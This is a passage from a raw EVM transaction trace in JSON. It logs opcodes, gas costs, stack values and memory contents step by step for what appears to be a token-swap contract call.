00db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15148,"op":"JUMPDEST","gas":101141,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x0","0x100","0xa36","0x1","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15149,"op":"POP","gas":101140,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x0","0x100","0xa36","0x1","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15150,"op":"SUB","gas":101138,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x0","0x100","0xa36","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15151,"op":"SWAP1","gas":101135,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x0","0x100","0xa36","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15152,"op":"JUMP","gas":101132,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x0","0x100","0x1","0xa36"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2614,"op":"JUMPDEST","gas":101124,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x0","0x100","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2615,"op":"DUP2","gas":101123,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x0","0x100","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2616,"op":"MLOAD","gas":101120,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x0","0x100","0x1","0x100"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2617,"op":"DUP2","gas":101117,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x0","0x100","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2618,"op":"LT","gas":101114,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x0","0x100","0x1","0x2","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2619,"op":"PUSH2","gas":101111,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x0","0x100","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2622,"op":"JUMPI","gas":101108,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x0","0x100","0x1","0x1","0xa46"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2630,"op":"JUMPDEST","gas":101098,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x0","0x100","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2631,"op":"PUSH1","gas":101097,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x0","0x100","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2633,"op":"MUL","gas":101094,"gasCost":5,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x0","0x100","0x1","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2634,"op":"PUSH1","gas":101089,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x0","0x100","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2636,"op":"ADD","gas":101086,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x0","0x100","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2637,"op":"ADD","gas":101083,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x0","0x100","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2638,"op":"MLOAD","gas":101080,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x0","0x140"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2639,"op":"LT","gas":101077,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x0","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2640,"op":"ISZERO","gas":101074,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2641,"op":"PUSH2","gas":101071,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2644,"op":"JUMPI","gas":101068,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x1","0xab3"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":2739,"op":"JUMPDEST","gas":101058,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a